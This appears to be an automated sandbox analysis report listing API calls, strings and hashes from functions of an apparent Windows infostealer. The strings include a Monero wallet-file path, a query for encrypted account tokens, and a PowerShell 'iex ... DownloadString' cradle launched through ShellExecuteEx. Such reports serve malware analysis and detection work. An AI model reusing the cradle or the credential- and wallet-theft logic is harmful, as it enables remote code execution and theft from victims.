String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 0a5b3f98a1e5ddfd4f90300e473f8cd2407d11acfd7941a1e0a4bf28a86fb1a5
Instruction ID: 27a289a3259ceb67e6dc5e55f6be3076e9db77044a696cfda1f2f93b95af7063
Opcode Fuzzy Hash: 0a5b3f98a1e5ddfd4f90300e473f8cd2407d11acfd7941a1e0a4bf28a86fb1a5
Instruction Fuzzy Hash: 61B15F72950118ABEF04FBA4DC96EEE7338EF54300F414569F506A6092EF346A49CBB2

Function 00D46770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00D46774
ExitProcess.KERNEL32 ref: 00D467A5
ExitProcess.KERNEL32 ref: 00D467AF
ExitProcess.KERNEL32 ref: 00D467B9
ExitProcess.KERNEL32 ref: 00D467C3
ExitProcess.KERNEL32 ref: 00D467CD

Strings

*, xrefs: 00D4678C

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: d987220159e8c4fc5e82c0e9ef09fcaacd666e3e225fbd1d2c36a54a4f0aa0a3
Instruction ID: 35a20622ada58213bfd348c63983debaa4334f62f83bb861bd3867b6b44d4494
Opcode Fuzzy Hash: d987220159e8c4fc5e82c0e9ef09fcaacd666e3e225fbd1d2c36a54a4f0aa0a3
Instruction Fuzzy Hash: 18F05E3090420DEFD3489FF0E90972C7B70FB45703F050198E60E86690D6748B83ABA7

Function 00D34FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00D34FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00D34FD1
InternetOpenA.WININET(00D50DDF,00000000,00000000,00000000,00000000), ref: 00D34FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00D35011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00D35041
InternetCloseHandle.WININET(?), ref: 00D350B9
InternetCloseHandle.WININET(?), ref: 00D350C6

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 7c55d37d5d122d3b77c2ecf0237ce6985420fd2eb320b098b5149db6ff8bfbef
Instruction ID: e955d30631bdd7225d3fdf163ddb96ec1ec675c57b0ed42a263d6c6287f911b2
Opcode Fuzzy Hash: 7c55d37d5d122d3b77c2ecf0237ce6985420fd2eb320b098b5149db6ff8bfbef
Instruction Fuzzy Hash: F43118B4A4021CABDB24CF54DC85BDCB7B4EB48704F1081D9FA09A7280C7706EC59FA9

Function 00D483DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00D48426
wsprintfA.USER32 ref: 00D48459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00D4847B
RegCloseKey.ADVAPI32(00000000), ref: 00D4848C
RegCloseKey.ADVAPI32(00000000), ref: 00D48499

Part of subcall function 00D4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D4A7E6

RegQueryValueExA.ADVAPI32(00000000,008DDDA0,00000000,000F003F,?,00000400), ref: 00D484EC
lstrlen.KERNEL32(?), ref: 00D48501
RegQueryValueExA.ADVAPI32(00000000,008DDD10,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00D50B34), ref: 00D48599
RegCloseKey.ADVAPI32(00000000), ref: 00D48608
RegCloseKey.ADVAPI32(00000000), ref: 00D4861A

Strings

%s\%s, xrefs: 00D4844D

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: a0b56d8e27978c86d6b938c089e6b6d001feca56a095a2070c67813b62465333
Instruction ID: df9d4c486a0a8c269230634400afcae761c012007c2b8a12a3b58eb5f287d778
Opcode Fuzzy Hash: a0b56d8e27978c86d6b938c089e6b6d001feca56a095a2070c67813b62465333
Instruction Fuzzy Hash: ED210A7190021C9BDB64DB54DC85FE9B3B8FB48700F04C198E609A6180DF716A85DFE5

Function 00D47690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D476A4
RtlAllocateHeap.NTDLL(00000000), ref: 00D476AB
RegOpenKeyExA.ADVAPI32(80000002,008CB888,00000000,00020119,00000000), ref: 00D476DD
RegQueryValueExA.ADVAPI32(00000000,008DDCF8,00000000,00000000,?,000000FF), ref: 00D476FE
RegCloseKey.ADVAPI32(00000000), ref: 00D47708

Strings

Windows 11, xrefs: 00D476BD

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: a328e1141c2c01a32271ec93e3064dc3449d232884625a6ae53a4418fd1d50a1
Instruction ID: 08db1175388a9351d8f3cee2affad0615e3a42b9e829ddcc0f9e8650bde4c370
Opcode Fuzzy Hash: a328e1141c2c01a32271ec93e3064dc3449d232884625a6ae53a4418fd1d50a1
Instruction Fuzzy Hash: 110162B5A44208BFDB00DBE4DC49F6DB7B8EB88701F104454FA08D7291D77099449F63

Function 00D47720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D47734
RtlAllocateHeap.NTDLL(00000000), ref: 00D4773B
RegOpenKeyExA.ADVAPI32(80000002,008CB888,00000000,00020119,00D476B9), ref: 00D4775B
RegQueryValueExA.ADVAPI32(00D476B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00D4777A
RegCloseKey.ADVAPI32(00D476B9), ref: 00D47784

Strings

CurrentBuildNumber, xrefs: 00D47771

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 49ced265fe04f99129ed51ad0e83ee729a41273094271429fa881011866cde97
Instruction ID: db51f9f5abcc00c6b8a5123e796caee5609ed7d59fe87d07c41ac0590ed7d6b8
Opcode Fuzzy Hash: 49ced265fe04f99129ed51ad0e83ee729a41273094271429fa881011866cde97
Instruction Fuzzy Hash: DB0144B5A40308BBDB00DBE0DC49FAEB7B8EB44701F004554FA09A7281D67055409B63

Function 00D399C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00D399EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00D39A11
LocalAlloc.KERNEL32(00000040,?), ref: 00D39A31
ReadFile.KERNEL32(000000FF,?,00000000,00D3148F,00000000), ref: 00D39A5A
LocalFree.KERNEL32(00D3148F), ref: 00D39A90
CloseHandle.KERNEL32(000000FF), ref: 00D39A9A

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: c1bbf4fb4f0a8a89cdef0a3dbe71d5d8b089705e6b0663f71b5ddaadfc43a708
Instruction ID: be05ee93d8a94c722bc6773110b992d093698e7882180927b8ab200ae81ad430
Opcode Fuzzy Hash: c1bbf4fb4f0a8a89cdef0a3dbe71d5d8b089705e6b0663f71b5ddaadfc43a708
Instruction Fuzzy Hash: B7313C74A0020DEFDB14DFA4C895BAEB7B5FF48305F148258E905A7290D774A981DFB2

Function 00D44780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,008DDF38), ref: 00D447DB

Part of subcall function 00D48DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00D48E0B

lstrcat.KERNEL32(?,00000000), ref: 00D44801
lstrcat.KERNEL32(?,?), ref: 00D44820
lstrcat.KERNEL32(?,?), ref: 00D44834
lstrcat.KERNEL32(?,008CB108), ref: 00D44847
lstrcat.KERNEL32(?,?), ref: 00D4485B
lstrcat.KERNEL32(?,008DD0B8), ref: 00D4486F

Part of subcall function 00D4A740: lstrcpy.KERNEL32(00D50E17,00000000), ref: 00D4A788

Part of subcall function 00D48D90: GetFileAttributesA.KERNEL32(00000000,?,00D31B54,?,?,00D5564C,?,?,00D50E1F), ref: 00D48D9F

Part of subcall function 00D44570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00D44580
Part of subcall function 00D44570: RtlAllocateHeap.NTDLL(00000000), ref: 00D44587
Part of subcall function 00D44570: wsprintfA.USER32 ref: 00D445A6
Part of subcall function 00D44570: FindFirstFileA.KERNEL32(?,?), ref: 00D445BD

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: fa0c21dca2792c8089cc7541b335d8ae4b680f8649a7830b40f09637ec973265
Instruction ID: cbdca2e526c23221ac579e98c5fd5e19b95147cbfaace7e5a6be44092c5b7088
Opcode Fuzzy Hash: fa0c21dca2792c8089cc7541b335d8ae4b680f8649a7830b40f09637ec973265
Instruction Fuzzy Hash: E5313EB694021CABCB14FBA0DC85EED7378AB98700F404589B35996081EE7496C9DFB6

Function 00D42C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 00D4A740: lstrcpy.KERNEL32(00D50E17,00000000), ref: 00D4A788

Part of subcall function 00D4A9B0: lstrlen.KERNEL32(?,008D8A30,?,\Monero\wallet.keys,00D50E17), ref: 00D4A9C5
Part of subcall function 00D4A9B0: lstrcpy.KERNEL32(00000000), ref: 00D4AA04
Part of subcall function 00D4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D4AA12

Part of subcall function 00D4A920: lstrcpy.KERNEL32(00000000,?), ref: 00D4A972
Part of subcall function 00D4A920: lstrcat.KERNEL32(00000000), ref: 00D4A982

Part of subcall function 00D4A8A0: lstrcpy.KERNEL32(?,00D50E17), ref: 00D4A905

ShellExecuteEx.SHELL32(0000003C), ref: 00D42D85

Strings

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00D42D04
')", xrefs: 00D42CB3
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00D42CC4
<, xrefs: 00D42D39

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 4be129be25f13c3852b033398364797d2033d1be61a78656fdfb82cc139fb60b
Instruction ID: 76a403fec2088b30f03c214b8685a66899c9ec4ce88e5532f81a417a58e24f91
Opcode Fuzzy Hash: 4be129be25f13c3852b033398364797d2033d1be61a78656fdfb82cc139fb60b
Instruction Fuzzy Hash: 7241AA71C502189BEB14EBA4C892BEDBB78EF14304F504119F516A7192EF746A4ACFB2

Function 00D39E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00D39F41

Part of subcall function 00D4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D4A7E6

Part of subcall function 00D4A740: lstrcpy.KERNEL32(00D50E17,00000000), ref: 00D4A788

Strings

v20, xrefs: 00D39E21
ERROR_RUN_EXTRACTOR, xrefs: 00D39E67
v10, xrefs: 00D39EA3
@, xrefs: 00D39EF1

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 3cd94db32c79b005f9dd0148e033d043dc94c8a9308a7b91861564a9bcf53089
Instruction ID: 7f8ead452830c6786b531979cc76e82eb23c7d8d4709056dcca56bcb3a3d31b3
Opcode Fuzzy Hash: 3cd94db32c79b005f9dd0148e033d043dc94c8a9308a7b91861564a9bcf53089
Instruction Fuzzy Hash: 7F612F75A502489FDB28EFA8CC96FED7775EF44304F008118F90A5B195EB74AA09CB72

Function 00D440B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,008DD238,00000000,00020119,?), ref: 00D440F4
RegQueryValueExA.ADVAPI32(?,008DDE78,00000000,00000000,00000000,000000FF), ref: 00D44118
RegCloseKey.ADVAPI32(?), ref: 00D44122
lstrcat.KERNEL32(?,00000000), ref: 00D44147
lstrcat.KERNEL32(?,008DDE48), ref: 00D4415B

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: 2bc862e23049522353f557efbe5a534fc225ec1847c73ec0f35945cba9fd7dcf
Instruction ID: 11dcba6ed4d712a5339298d4114b35f22c812935002097a905f20414dc60dc9a
